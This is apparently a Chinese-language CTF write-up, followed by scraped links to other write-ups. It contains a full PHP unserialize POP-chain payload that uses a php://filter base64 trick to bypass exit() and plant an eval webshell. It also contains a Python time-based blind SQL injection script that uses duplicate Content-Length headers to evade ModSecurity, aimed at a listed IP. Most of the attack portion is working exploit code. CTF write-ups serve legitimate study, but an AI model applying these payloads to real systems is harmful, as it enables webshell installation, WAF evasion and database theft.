$filename = $this->getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {

try {

mkdir($dir, 0755, true);

} catch (\Exception $e) {

// 創建失敗

}

}

$data = $this->serialize($value);

if ($this->options['data_compress'] && function_exists('gzcompress')) {

//數據壓縮

$data = gzcompress($data, 3);

}

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

$result = file_put_contents($filename, $data);

if ($result) {

return true;

}

return false;

}

}

if (isset($_GET['src']))

{

highlight_file(__FILE__);

}

$dir = "uploads/";

if (!is_dir($dir))

{

mkdir($dir);

}

unserialize($_GET["data"]);

構造pop鏈

通過觸發A::__destruct()=>A::save()=>A::store->set()==b::set()最後觸發$result = file_put_contents($filename, $data);

繞過exit通過 讓$filename為php://filter/write=convert.base64-decode/resource=uploads/shell.php

因為php中的base64_decode函數會忽略不符合base64編碼的字符, 將合法字符組成一個新的字符串進行解碼,所以最終被解碼的字符僅有php00000000exit和我們傳入的$data變量,因為base64算法解碼時是4個byte一組,所以我們只要控制我們需要真正解碼內容的前面部分字符長度為4的倍數就行

詳細可以參考p師傅的博客link

$filename

在B::getCacheKey($name)中,將$this->options['prefix']和$name拼接得到構造B::options和A::key使$filename為php://filter/write=convert.base64-decode/resource=uploads/shell.php

$data

由$value=A::getForStorage()和B::serialize($value)得到

構造A的cache為數組['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];

就可以使得$value=A::getForStorage()的值為[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]

然後再構造B的serialize值為serialize就可以使得B::serialize($value)的值為

s:64:"[{"path":"a","dirname":"PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4g"},true]";

這樣在最後$data被base64解碼的時候只有php//000000000000exits64pathadirname和PD9waHAgZXZhbCgkX0dFVFthXSk7Pz4gtrue,然後前36位字符被編碼成功繞過exit

payload

<?php

class A{

protected $store;

protected $key;

protected $expire;

public $cache = [];

public $complete = true;

public function __construct () {

$this->store = new B();

$this->key = 'shell.php';

$this->cache = ['path'=>'a','dirname'=>base64_encode('<?php eval($_GET[a]);?>')];

}

}

class B{

public $options = [

'serialize' => 'serialize',

'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',

];

}

echo urlencode(serialize(new A()));

ezjjava

fastjson 1.2.47 RCE

ezwaf

題目

<?php

include "config.php";

if (isset($_GET['src']))

{

highlight_file(__FILE__);

}

function escape($arr)

{

global $mysqli;

$newarr = array();

foreach($arr as $key=>$val)

{

if (!is_array($val))

{

$newarr[$key] = mysqli_real_escape_string($mysqli, $val);

}

}

return $newarr;

}

$_GET= escape($_GET);

if (isset($_GET['name']))

{

$name = $_GET['name'];

mysqli_query($mysqli, "select age from user where name='$name'");

}else if(isset($_GET['age']))

{

$age = $_GET['age'];

mysqli_query($mysqli, "select name from user where age=$age");

}

選擇age作為注入點,不需要逃逸引號,沒有回顯利用時間盲注

?age=1%2bsleep(1)=> 403

apache設置了waf

用畸形的http包繞過modsecurity

if __name__ == '__main__':

res = 'flag{abypass_modsecurity'

for i in range(24, 50):

for j in range(32, 127):

payload = '''GET /?age=1%20or%201%20and%20ascii(substr((select%20*%20from%20flag_xdd),{},1))={}%20and%20sleep(2) HTTP/1.1

Host: 111.186.57.43:10601

Accept-Encoding: gzip, deflate

Connection: close

Content-Length: 0

Content-Length: 0

'''.format(str(i), str(j))

exp = payload.encode().replace(b'\n', b'\r\n')

# print(exp)

if send_raw(exp):

res += chr(j)

print(res)

continue

不穩定的話時間可以調大一點

相關焦點

  • SUCTF-WriteUp(下)
    00000000000000B8                 call    printk          ; PIC mode.text.unlikely:00000000000000BD.text.unlikely:00000000000000BD loc_BD:    堆溢出.text:0000000000000000 sudrv_write
  • 西湖論劍2019 WriteUp
    Web4 blog原題:https://ctftime.org/writeup/10369同年Google CTF另外的幾個題目:https://otakekumi.github.io/2018/07/04/GoogleCTF-2018-Writeup-JsSafe-Translate-catChat-gCalc
  • 高校戰「疫」網絡安全分享賽 —— Write-up
    參見https://www.smi1e.top/n1ctf2019-sql_manage%e5%87%ba%e9%a2%98%e7%ac%94%e8%ae%b0/<?, can_modify = "read" in permission, "write" in permission, "modify" in permission newpath = local try: if cmd == "CWD": if(os.path.isdir(newpath
  • 2019紅帽杯 writeup
    continue    else:        j=1    if da == 0:        data += '0'    else:        data += '1'a = open('C:\\Users\\a1516\\Desktop\\hmb\\car\\car\\2EnB.txt','w')a.write
  • SCTF2019 Writeup——De1ta 文末有彩蛋
    target_msg,message),msg).encode('hex')# choice 2 and send enc_target_message to get flagsl('2')ru('now:')sl(enc_target_message)flag = ru('}')print "[+]FLAG IS: "+flagr.close()warmup
  • RCTF2020 部分Writeup
    高校戰「疫」網絡安全分享賽第49名De1CTF 2020第34名第二屆網鼎杯青龍組線上第90名RCTF
  • 英語閱讀:Write Your Own Life
    Instead of picking up and using the pen, you could leave it on a shelf or in a drawer where it will dry up, unused. But if you do decide to use it, what would you do with it?
  • 寫日記說成「write a diary」,真的是太chinglish
    ​今天我們就來介紹兩組~01寫日記 ≠ write a diary寫日記✘write a diary✔keep a diarySaying &34; implies that the person is writing a book, or a work of fiction, not a personal
  • The First Draft:Beginning to Write
    Writing essays for your "back-up" schools will help you to think about and revise the essay for your first-choice school.
  • RCTF 2020 Writeup
    pop_rsi_ret=0x0000000000023e6a+libc_base pop_rdx_ret=0x0000000000001b96+libc_base open_addr=libc_base+libc.symbols["open"] read_addr=libc_base+libc.symbols["read"] puts_addr=libc_base+libc.symbols["write
  • 英語美文欣賞:Write Your Own Life
    Instead of picking up and using the pen, you could leave it on a shelf or in a drawer where it will dry up, unused.   But if you do decide to use it, what would you do with it?
  • 2020 *ctf 部分pwn writeup
    TARGET_NR_readlinkat:+ case TARGET_NR_faccessat:+ case TARGET_NR_openat2:+ case TARGET_NR_openat:+ case TARGET_NR_read:+ case TARGET_NR_readv:+ case TARGET_NR_write
  • SCTF Writeup By W&M
    }api.chara.pub:1234/shell|sh"); byte[] byt2 = myencrypt(obj); System.out.println(Arrays.toString(byt2)); FileOutputStream fos = new FileOutputStream("payloadg.class"); fos.write
  • GACTF Writeup By星盟安全團隊
    PWNgif2ascii這是cve-2019-11932移植到linux上然後進行了一些魔改的題,由於本題裡結構體的大小和poc裡的不一樣,因此原
  • 雙語:Write Your Own Life (譜寫生命的樂章)
    Instead of picking up and using the pen, you could leave it on a shelf or in a drawer where it will dry up, unused.   事實上,這個遊戲裡沒有規則指定你必須要做什么。相反,你甚至可以根本不去動用這支筆,把它扔在書架上或是抽屜裡讓它的墨水乾枯。
  • 安洵杯2020 官方Writeup(Pwn)
    程序開了沙箱, 只能採用open, read, write來列印flag或者利用lgx::http::send_file函數來獲取flag。, 1, flag_addr, 0, 0, elf.got['open'], gadget_call, 0, 0, 1, 3, flag_addr, 0x100, elf.got['read'], gadget_call, 0, 0, 1, 1, flag_addr, 0x100, elf.got['write
  • 0RAYS-祥雲杯writeup
    import structimport binasciifrom xixi import FAT32Parserfat=FAT32Parser("new.vhd")f = open("new.vhd", "rb")f.seek(0x27bae00) #定位圖片flag = open("flag.png", "wb")flag.write
  • 「寫日記」英語千萬別直譯成「write a diary」,太中國式了
    01、寫日記 ≠ write a diary錯誤:write a diary正確:keep a diarySaying "write a diary" implies that the person is writing a book, or a work of fiction, not a personal day-by-day memoir
  • NSCTF "SteinsGate"詳細writeup
    】NSCTF "SteinsGate"詳細writeupFrom ChaMd5安全團隊核心成員 sherlly
  • 「壞鄰居」漏洞 CVE-2020-16898 的 Writeup
    我能找到的唯一的額外信息是根據檢測邏輯編寫的 write-up。命運就是如此神奇:關於如何防範攻擊的信息竟然有助於編寫 exploit 的 writeup:最重要的信息如下:「雖然忽略所有非 RDNSS 的 Options,但對於 Option Type = 25 (RDNSS),我們會檢查 Lengption (Option 中的第二個字節)是否為偶數。